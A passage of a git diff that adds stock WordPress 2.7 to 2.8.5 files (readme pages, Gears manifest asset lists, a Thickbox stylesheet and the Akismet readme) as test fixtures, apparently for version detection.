Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

System Recommendations

+
    +
  • PHP version 4.3 or higher.
  • +
  • MySQL version 4.0 or higher.
  • +
  • ... and a link to http://wordpress.org on your site.
  • +
+

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

Upgrading from another system

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above.

+ +

XML-RPC and Atom Interface

+

You can now post to your WordPress blog with tools like Windows Live Writer, Ecto, Bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the Blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final notes

+
    +
  • If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the plugin documentation in the Codex. In most all cases you shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

Copyright

+

WordPress is released under the GPL (see license.txt).

+ + + diff --git a/spec/fixtures/wp_versions/2.7/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/2.7/wp-admin/gears-manifest.php new file mode 100644 index 00000000..a0d2d166 --- /dev/null +++ b/spec/fixtures/wp_versions/2.7/wp-admin/gears-manifest.php @@ -0,0 +1,172 @@ +{ +"betaManifestVersion" : 1, +"version" : "c15b142b7f4676d28007b378f3d92e3a_20081201", +"entries" : [ +{ "url" : "js/common.js?ver=20081210" }, +{ "url" : "../wp-includes/js/tw-sack.js?ver=1.6.1" }, +{ "url" : "../wp-includes/js/quicktags.js?ver=20081210" }, +{ "url" : "../wp-includes/js/colorpicker.js?ver=3517" }, +{ "url" : "js/editor.js?ver=20081129" }, +{ "url" : "../wp-includes/js/prototype.js?ver=1.6" }, +{ "url" : "../wp-includes/js/wp-ajax-response.js?ver=20081210" }, +{ "url" : "../wp-includes/js/autosave.js?ver=20081210" }, +{ "url" : "../wp-includes/js/wp-lists.js?ver=20081210" }, +{ "url" : "../wp-includes/js/scriptaculous/wp-scriptaculous.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/builder.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/dragdrop.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/effects.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/slider.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/sound.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/controls.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/crop/cropper.js?ver=20070118" }, +{ "url" : "../wp-includes/js/jquery/jquery.js?ver=1.2.6" }, +{ "url" : "../wp-includes/js/jquery/jquery.form.js?ver=2.02" }, +{ "url" : "../wp-includes/js/jquery/jquery.color.js?ver=2.0-4561" }, +{ "url" : "../wp-includes/js/jquery/interface.js?ver=1.2" }, +{ "url" : "../wp-includes/js/jquery/suggest.js?ver=1.1b" }, +{ "url" : "../wp-includes/js/jquery/jquery.schedule.js?ver=20" }, +{ "url" : "../wp-includes/js/jquery/jquery.hotkeys.js?ver=0.0.2" }, +{ "url" : "../wp-includes/js/jquery/jquery.table-hotkeys.js?ver=20081128" }, +{ "url" : "../wp-includes/js/thickbox/thickbox.js?ver=3.1-20080430" }, +{ "url" : "../wp-includes/js/swfupload/swfupload.js?ver=2.2.0-20081031" }, +{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js?ver=2.2.0-20081031" }, +{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.swfobject.js?ver=2.2.0-20081031" }, +{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.queue.js?ver=2.2.0-20081031" }, +{ "url" : "../wp-includes/js/swfupload/handlers.js?ver=2.2.0-20081201" }, +{ "url" : "../wp-includes/js/jquery/ui.core.js?ver=1.5.2" }, +{ "url" : "../wp-includes/js/jquery/ui.tabs.js?ver=1.5.2" }, +{ "url" : "../wp-includes/js/jquery/ui.sortable.js?ver=1.5.2c" }, +{ "url" : "../wp-includes/js/jquery/ui.draggable.js?ver=1.5.2" }, +{ "url" : "../wp-includes/js/jquery/ui.resizable.js?ver=1.5.2" }, +{ "url" : "../wp-includes/js/jquery/ui.dialog.js?ver=1.5.2" }, +{ "url" : "../wp-includes/js/comment-reply.js?ver=20081210" }, +{ "url" : "js/cat.js?ver=20081210" }, +{ "url" : "js/categories.js?ver=20081210" }, +{ "url" : "js/tags.js?ver=20081210" }, +{ "url" : "js/custom-fields.js?ver=20081210" }, +{ "url" : "js/password-strength-meter.js?ver=20081210" }, +{ "url" : "js/edit-comments.js?ver=20081210" }, +{ "url" : "js/users.js?ver=20081210" }, +{ "url" : "js/xfn.js?ver=3517" }, +{ "url" : "js/postbox.js?ver=20081210" }, +{ "url" : "js/slug.js?ver=20081210" }, +{ "url" : "js/post.js?ver=20081210" }, +{ "url" : "js/page.js?ver=20081210" }, +{ "url" : "js/link.js?ver=20081210" }, +{ "url" : "js/comment.js?ver=20081210" }, +{ "url" : "js/gallery.js?ver=20081210" }, +{ "url" : "js/media-upload.js?ver=20081210" }, +{ "url" : "js/widgets.js?ver=20081210" }, +{ "url" : "js/word-count.js?ver=20081210" }, +{ "url" : "js/wp-gears.js?ver=20081210" }, +{ "url" : "js/theme-preview.js?ver=20081210" }, +{ "url" : "js/inline-edit-post.js?ver=20081210" }, +{ "url" : "js/inline-edit-tax.js?ver=20081210" }, +{ "url" : "js/plugin-install.js?ver=20081210" }, +{ "url" : "js/farbtastic.js?ver=1.2" }, +{ "url" : "js/dashboard.js?ver=20081210" }, +{ "url" : "../wp-includes/js/hoverIntent.js?ver=20081210" }, +{ "url" : "wp-admin.css?ver=20081210" }, +{ "url" : "rtl.css?ver=20081210" }, +{ "url" : "css/ie.css?ver=20081210" }, +{ "url" : "css/ie-rtl.css?ver=20081210" }, +{ "url" : "css/colors-classic.css?ver=20081210" }, +{ "url" : "css/colors-classic-rtl.css?ver=20081210" }, +{ "url" : "css/colors-fresh.css?ver=20081210" }, +{ "url" : "css/colors-fresh-rtl.css?ver=20081210" }, +{ "url" : "css/colors-classic.css?ver=20081210" }, +{ "url" : "css/colors-classic-rtl.css?ver=20081210" }, +{ "url" : "css/global.css?ver=20081210" }, +{ "url" : "css/global-rtl.css?ver=20081210" }, +{ "url" : "css/media.css?ver=20081210" }, +{ "url" : "css/media-rtl.css?ver=20081210" }, +{ "url" : "css/widgets.css?ver=20081210" }, +{ "url" : "css/widgets-rtl.css?ver=20081210" }, +{ "url" : "css/dashboard.css?ver=20081210" }, +{ "url" : "css/dashboard-rtl.css?ver=20081210" }, +{ "url" : "css/install.css?ver=20081210" }, +{ "url" : "css/install-rtl.css?ver=20081210" }, +{ "url" : "css/theme-editor.css?ver=20081210" }, +{ "url" : "css/theme-editor-rtl.css?ver=20081210" }, +{ "url" : "css/press-this.css?ver=20081210" }, +{ "url" : "css/press-this-rtl.css?ver=20081210" }, +{ "url" : "../wp-includes/js/thickbox/thickbox.css?ver=20081210" }, +{ "url" : "css/login.css?ver=20081210" }, +{ "url" : "css/login-rtl.css?ver=20081210" }, +{ "url" : "css/plugin-install.css?ver=20081210" }, +{ "url" : "css/plugin-install-rtl.css?ver=20081210" }, +{ "url" : "css/farbtastic.css?ver=1.2" }, +{ "url" : "css/farbtastic-rtl.css?ver=1.2" }, + +{ "url" : "images/align-center.png" }, +{ "url" : "images/align-left.png" }, +{ "url" : "images/align-none.png" }, +{ "url" : "images/align-right.png" }, +{ "url" : "images/archive-link.png" }, +{ "url" : "images/blue-grad.png" }, +{ "url" : "images/browse-happy.gif" }, +{ "url" : "images/bubble_bg.gif" }, +{ "url" : "images/bubble_bg-rtl.gif" }, +{ "url" : "images/button-grad.png" }, +{ "url" : "images/button-grad-active.png" }, +{ "url" : "images/comment-grey-bubble.png" }, +{ "url" : "images/date-button.gif" }, +{ "url" : "images/ed-bg.gif" }, +{ "url" : "images/fade-butt.png" }, +{ "url" : "images/fav.png" }, +{ "url" : "images/fav-arrow.gif" }, +{ "url" : "images/fav-arrow-rtl.gif" }, +{ "url" : "images/fav-top.png" }, +{ "url" : "images/generic.png" }, +{ "url" : "images/gray-grad.png" }, +{ "url" : "images/icons32.png" }, +{ "url" : "images/icons32-vs.png" }, +{ "url" : "images/list.png" }, +{ "url" : "images/list-vs.png" }, +{ "url" : "images/loading.gif" }, +{ "url" : "images/loading-publish.gif" }, +{ "url" : "images/logo.gif" }, +{ "url" : "images/logo-ghost.png" }, +{ "url" : "images/logo-login.gif" }, +{ "url" : "images/media-button-image.gif" }, +{ "url" : "images/media-button-music.gif" }, +{ "url" : "images/media-button-other.gif" }, +{ "url" : "images/media-button-video.gif" }, +{ "url" : "images/menu.png" }, +{ "url" : "images/menu-vs.png" }, +{ "url" : "images/menu-arrows.gif" }, +{ "url" : "images/menu-bits.gif" }, +{ "url" : "images/menu-bits-rtl.gif" }, +{ "url" : "images/menu-dark.gif" }, +{ "url" : "images/menu-dark-rtl.gif" }, +{ "url" : "images/no.png" }, +{ "url" : "images/required.gif" }, +{ "url" : "images/resize.gif" }, +{ "url" : "images/screen-options-left.gif" }, +{ "url" : "images/screen-options-right.gif" }, +{ "url" : "images/screen-options-right-up.gif" }, +{ "url" : "images/se.png" }, +{ "url" : "images/star.gif" }, +{ "url" : "images/toggle-arrow.gif" }, +{ "url" : "images/toggle-arrow-rtl.gif" }, +{ "url" : "images/white-grad.png" }, +{ "url" : "images/white-grad-active.png" }, +{ "url" : "images/wordpress-logo.png" }, +{ "url" : "images/wp-logo.gif" }, +{ "url" : "images/xit.gif" }, +{ "url" : "images/yes.png" }, + + +{ "url" : "../wp-includes/images/crystal/archive.png" }, +{ "url" : "../wp-includes/images/crystal/audio.png" }, +{ "url" : "../wp-includes/images/crystal/code.png" }, +{ "url" : "../wp-includes/images/crystal/default.png" }, +{ "url" : "../wp-includes/images/crystal/document.png" }, +{ "url" : "../wp-includes/images/crystal/interactive.png" }, +{ "url" : "../wp-includes/images/crystal/text.png" }, +{ "url" : "../wp-includes/images/crystal/video.png" }, +{ "url" : "../wp-includes/images/crystal/spreadsheet.png" }, +{ "url" : "../wp-includes/images/rss.png" }, +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" }, +{ "url" : "../wp-includes/js/thickbox/tb-close.png" } +]} diff --git a/spec/fixtures/wp_versions/2.7/wp-includes/js/thickbox/thickbox.css b/spec/fixtures/wp_versions/2.7/wp-includes/js/thickbox/thickbox.css new file mode 100755 index 00000000..6c2b2119 --- /dev/null +++ b/spec/fixtures/wp_versions/2.7/wp-includes/js/thickbox/thickbox.css @@ -0,0 +1,161 @@ + +/* ----------------------------------------------------------------------------------------------------------------*/ +/* ---------->>> thickbox specific link and font settings <<<------------------------------------------------------*/ +/* ----------------------------------------------------------------------------------------------------------------*/ +#TB_window { + font: 12px "Lucida Grande", Verdana, Arial, sans-serif; + color: #333333; +} + +#TB_secondLine { + font: 10px "Lucida Grande", Verdana, Arial, sans-serif; + color:#666666; +} + +#TB_window a:link {color: #666666;} +#TB_window a:visited {color: #666666;} +#TB_window a:hover {color: #000;} +#TB_window a:active {color: #666666;} +#TB_window a:focus{color: #666666;} + +/* ----------------------------------------------------------------------------------------------------------------*/ +/* ---------->>> thickbox settings <<<-----------------------------------------------------------------------------*/ +/* ----------------------------------------------------------------------------------------------------------------*/ +#TB_overlay { + position: fixed; + z-index:100; + top: 0px; + left: 0px; + height:100%; + width:100%; +} + +.TB_overlayMacFFBGHack {background: url(macFFBgHack.png) repeat;} +.TB_overlayBG { + background-color:#000; + filter:alpha(opacity=75); + -moz-opacity: 0.75; + opacity: 0.75; +} + +* html #TB_overlay { /* ie6 hack */ + position: absolute; + height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px'); +} + +#TB_window { + position: fixed; + background: #ffffff; + z-index: 102; + color:#000000; + display:none; + text-align:left; + top:50%; + left:50%; + border: 1px solid #555; + -moz-box-shadow: rgba(0,0,0,1) 0 4px 30px; + -webkit-box-shadow: rgba(0,0,0,1) 0 4px 30px; + -khtml-box-shadow: rgba(0,0,0,1) 0 4px 30px; + box-shadow: rgba(0,0,0,1) 0 4px 30px; +} + +* html #TB_window { /* ie6 hack */ +position: absolute; +margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px'); +} + +#TB_window img#TB_Image { + display:block; + margin: 15px 0 0 15px; + border-right: 1px solid #ccc; + border-bottom: 1px solid #ccc; + border-top: 1px solid #666; + border-left: 1px solid #666; +} + +#TB_caption{ + height:25px; + padding:7px 30px 10px 25px; + float:left; +} + +#TB_closeWindow{ + height:25px; + padding:11px 25px 10px 0; + float:right; +} + +#TB_closeAjaxWindow{ + padding:6px 10px 0; + text-align:right; + float:right; +} + +#TB_ajaxWindowTitle{ + float:left; + padding:6px 10px 0; +} + +#TB_title{ + background-color:#e8e8e8; + height:27px; +} + +#TB_ajaxContent{ + clear:both; + padding:2px 15px 15px 15px; + overflow:auto; + text-align:left; + line-height:1.4em; +} + +#TB_ajaxContent.TB_modal{ + padding:15px; +} + +#TB_ajaxContent p{ + padding:5px 0px 5px 0px; +} + +#TB_load{ + position: fixed; + display:none; + z-index:103; + top: 50%; + left: 50%; + background-color: #E8E8E8; + border: 1px solid #555; + margin: -45px 0pt 0pt -125px; + padding: 40px 15px 15px; +} + +* html #TB_load { /* ie6 hack */ +position: absolute; +margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px'); +} + +#TB_HideSelect{ + z-index:99; + position:fixed; + top: 0; + left: 0; + background-color:#fff; + border:none; + filter:alpha(opacity=0); + -moz-opacity: 0; + opacity: 0; + height:100%; + width:100%; +} + +* html #TB_HideSelect { /* ie6 hack */ + position: absolute; + height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px'); +} + +#TB_iframeContent{ + clear:both; + border:none; + margin-bottom:-1px; + _margin-bottom:1px; +} diff --git a/spec/fixtures/wp_versions/2.8.2/readme.html b/spec/fixtures/wp_versions/2.8.2/readme.html new file mode 100755 index 00000000..06a9fa53 --- /dev/null +++ b/spec/fixtures/wp_versions/2.8.2/readme.html @@ -0,0 +1,91 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 2.8.2 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory.
  2. +
  3. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
  4. +
  5. Save the file as wp-config.php
  6. +
  7. Upload everything.
  8. +
  9. Open /wp-admin/install.php in your browser. This should setup the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  10. +
  11. Note the password given to you.
  12. +
  13. The install script should then send you to the login page. Sign in with the username admin and the password generated during the installation. You can then click on 'Profile' to change the password.
  14. +
+ +

Upgrading

+

Before you upgrade anything, make sure you have backup copies of any files you may have modified such as index.php.

+

Upgrading from any previous WordPress to 2.8.2:

+
    +
  1. Delete your old WP files, saving ones you've modified.
  2. +
  3. Upload the new files.
  4. +
  5. Point your browser to /wp-admin/upgrade.php.
  6. +
  7. You wanted more, perhaps? That's it!
  8. +
+

Template Changes

+

If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, we've created a special guide for you.

+ +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The Development Blog
+
This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

System Recommendations

+
    +
  • PHP version 4.3 or higher.
  • +
  • MySQL version 4.0 or higher.
  • +
  • ... and a link to http://wordpress.org on your site.
  • +
+

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

Upgrading from another system

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above.

+ +

XML-RPC and Atom Interface

+

You can now post to your WordPress blog with tools like Windows Live Writer, Ecto, Bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the Blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final notes

+
    +
  • If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the plugin documentation in the Codex. In most all cases you shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

Copyright

+

WordPress is released under the GPL (see license.txt).

+ + + diff --git a/spec/fixtures/wp_versions/2.8.2/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/2.8.2/wp-admin/gears-manifest.php new file mode 100644 index 00000000..f8b10bc4 --- /dev/null +++ b/spec/fixtures/wp_versions/2.8.2/wp-admin/gears-manifest.php @@ -0,0 +1,76 @@ +{ +"betaManifestVersion" : 1, +"version" : "ae52efa2f066ffc235840dc615f051d7", +"entries" : [ +{ "url" : "images/align-center.png" }, +{ "url" : "images/align-left.png" }, +{ "url" : "images/align-none.png" }, +{ "url" : "images/align-right.png" }, +{ "url" : "images/archive-link.png" }, +{ "url" : "images/blue-grad.png" }, +{ "url" : "images/browse-happy.gif" }, +{ "url" : "images/bubble_bg.gif" }, +{ "url" : "images/bubble_bg-rtl.gif" }, +{ "url" : "images/button-grad.png" }, +{ "url" : "images/button-grad-active.png" }, +{ "url" : "images/comment-grey-bubble.png" }, +{ "url" : "images/date-button.gif" }, +{ "url" : "images/ed-bg.gif" }, +{ "url" : "images/fade-butt.png" }, +{ "url" : "images/fav.png" }, +{ "url" : "images/fav-arrow.gif" }, +{ "url" : "images/fav-arrow-rtl.gif" }, +{ "url" : "images/fav-top.png" }, +{ "url" : "images/generic.png" }, +{ "url" : "images/gray-grad.png" }, +{ "url" : "images/icons32.png" }, +{ "url" : "images/icons32-vs.png" }, +{ "url" : "images/list.png" }, +{ "url" : "images/list-vs.png" }, +{ "url" : "images/wpspin_light.gif" }, +{ "url" : "images/wpspin_dark.gif" }, +{ "url" : "images/logo.gif" }, +{ "url" : "images/logo-ghost.png" }, +{ "url" : "images/logo-login.gif" }, +{ "url" : "images/media-button-image.gif" }, +{ "url" : "images/media-button-music.gif" }, +{ "url" : "images/media-button-other.gif" }, +{ "url" : "images/media-button-video.gif" }, +{ "url" : "images/menu.png" }, +{ "url" : "images/menu-vs.png" }, +{ "url" : "images/menu-arrows.gif" }, +{ "url" : "images/menu-bits.gif" }, +{ "url" : "images/menu-bits-rtl.gif" }, +{ "url" : "images/menu-dark.gif" }, +{ "url" : "images/menu-dark-rtl.gif" }, +{ "url" : "images/no.png" }, +{ "url" : "images/required.gif" }, +{ "url" : "images/resize.gif" }, +{ "url" : "images/screen-options-left.gif" }, +{ "url" : "images/screen-options-right.gif" }, +{ "url" : "images/screen-options-right-up.gif" }, +{ "url" : "images/se.png" }, +{ "url" : "images/star.gif" }, +{ "url" : "images/toggle-arrow.gif" }, +{ "url" : "images/toggle-arrow-rtl.gif" }, +{ "url" : "images/white-grad.png" }, +{ "url" : "images/white-grad-active.png" }, +{ "url" : "images/wordpress-logo.png" }, +{ "url" : "images/wp-logo.gif" }, +{ "url" : "images/xit.gif" }, +{ "url" : "images/yes.png" }, +{ "url" : "../wp-includes/images/crystal/archive.png" }, +{ "url" : "../wp-includes/images/crystal/audio.png" }, +{ "url" : "../wp-includes/images/crystal/code.png" }, +{ "url" : "../wp-includes/images/crystal/default.png" }, +{ "url" : "../wp-includes/images/crystal/document.png" }, +{ "url" : "../wp-includes/images/crystal/interactive.png" }, +{ "url" : "../wp-includes/images/crystal/text.png" }, +{ "url" : "../wp-includes/images/crystal/video.png" }, +{ "url" : "../wp-includes/images/crystal/spreadsheet.png" }, +{ "url" : "../wp-includes/images/rss.png" }, +{ "url" : "../wp-includes/images/blank.gif" }, +{ "url" : "../wp-includes/images/upload.png" }, +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" }, +{ "url" : "../wp-includes/js/thickbox/tb-close.png" } +]} diff --git a/spec/fixtures/wp_versions/2.8.2/wp-content/plugins/akismet/readme.txt b/spec/fixtures/wp_versions/2.8.2/wp-content/plugins/akismet/readme.txt new file mode 100755 index 00000000..f34baf53 --- /dev/null +++ b/spec/fixtures/wp_versions/2.8.2/wp-content/plugins/akismet/readme.txt @@ -0,0 +1,42 @@ +=== Akismet === +Contributors: matt, ryan, andy, mdawaffe, tellyworth +Tags: akismet, comments, spam +Requires at least: 2.0 +Tested up to: 2.8.2 + +Akismet checks your comments against the Akismet web service to see if they look like spam or not. + +== Description == + +Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you +review the spam it catches under your blog's "Comments" admin screen. + +Want to show off how much spam Akismet has caught for you? Just put `` in your template. + +See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/). + +PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it. + +== Installation == + +Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/). + +1, 2, 3: You're done! + +== Changelog == + += 2.2.6 = + +* Fix a global warning introduced in 2.2.5 +* Add changelog and additional readme.txt tags +* Fix an array conversion warning in some versions of PHP +* Support a new WPCOM_API_KEY constant for easier use with WordPress MU + += 2.2.5 = + +* Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls + += 2.2.4 = + +* Fixed a key problem affecting the stats feature in WordPress MU +* Provide additional blog information in Akismet API calls diff --git a/spec/fixtures/wp_versions/2.8.5/readme.html b/spec/fixtures/wp_versions/2.8.5/readme.html new file mode 100755 index 00000000..fa7071c6 --- /dev/null +++ b/spec/fixtures/wp_versions/2.8.5/readme.html @@ -0,0 +1,91 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 2.8.5 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory.
  2. +
  3. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
  4. +
  5. Save the file as wp-config.php
  6. +
  7. Upload everything.
  8. +
  9. Open /wp-admin/install.php in your browser. This should setup the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  10. +
  11. Note the password given to you.
  12. +
  13. The install script should then send you to the login page. Sign in with the username admin and the password generated during the installation. You can then click on 'Profile' to change the password.
  14. +
+ +

Upgrading

+

Before you upgrade anything, make sure you have backup copies of any files you may have modified such as index.php.

+

Upgrading from any previous WordPress to 2.8.5:

+
    +
  1. Delete your old WP files, saving ones you've modified.
  2. +
  3. Upload the new files.
  4. +
  5. Point your browser to /wp-admin/upgrade.php.
  6. +
  7. You wanted more, perhaps? That's it!
  8. +
+

Template Changes

+

If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, we've created a special guide for you.

+ +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The Development Blog
+
This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

System Recommendations

+
    +
  • PHP version 4.3 or higher.
  • +
  • MySQL version 4.0 or higher.
  • +
  • ... and a link to http://wordpress.org on your site.
  • +
+

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

Upgrading from another system

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above.

+ +

XML-RPC and Atom Interface

+

You can now post to your WordPress blog with tools like Windows Live Writer, Ecto, Bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the Blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final notes

+
    +
  • If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the plugin documentation in the Codex. In most all cases you shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

Copyright

+

WordPress is released under the GPL (see license.txt).

+ + + diff --git a/spec/fixtures/wp_versions/2.8.5/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/2.8.5/wp-admin/gears-manifest.php new file mode 100644 index 00000000..f8b10bc4 --- /dev/null +++ b/spec/fixtures/wp_versions/2.8.5/wp-admin/gears-manifest.php @@ -0,0 +1,76 @@ +{ +"betaManifestVersion" : 1, +"version" : "ae52efa2f066ffc235840dc615f051d7", +"entries" : [ +{ "url" : "images/align-center.png" }, +{ "url" : "images/align-left.png" }, +{ "url" : "images/align-none.png" }, +{ "url" : "images/align-right.png" }, +{ "url" : "images/archive-link.png" }, +{ "url" : "images/blue-grad.png" }, +{ "url" : "images/browse-happy.gif" }, +{ "url" : "images/bubble_bg.gif" }, +{ "url" : "images/bubble_bg-rtl.gif" }, +{ "url" : "images/button-grad.png" }, +{ "url" : "images/button-grad-active.png" }, +{ "url" : "images/comment-grey-bubble.png" }, +{ "url" : "images/date-button.gif" }, +{ "url" : "images/ed-bg.gif" }, +{ "url" : "images/fade-butt.png" }, +{ "url" : "images/fav.png" }, +{ "url" : "images/fav-arrow.gif" }, +{ "url" : "images/fav-arrow-rtl.gif" }, +{ "url" : "images/fav-top.png" }, +{ "url" : "images/generic.png" }, +{ "url" : "images/gray-grad.png" }, +{ "url" : "images/icons32.png" }, +{ "url" : "images/icons32-vs.png" }, +{ "url" : "images/list.png" }, +{ "url" : "images/list-vs.png" }, +{ "url" : "images/wpspin_light.gif" }, +{ "url" : "images/wpspin_dark.gif" }, +{ "url" : "images/logo.gif" }, +{ "url" : "images/logo-ghost.png" }, +{ "url" : "images/logo-login.gif" }, +{ "url" : "images/media-button-image.gif" }, +{ "url" : "images/media-button-music.gif" }, +{ "url" : 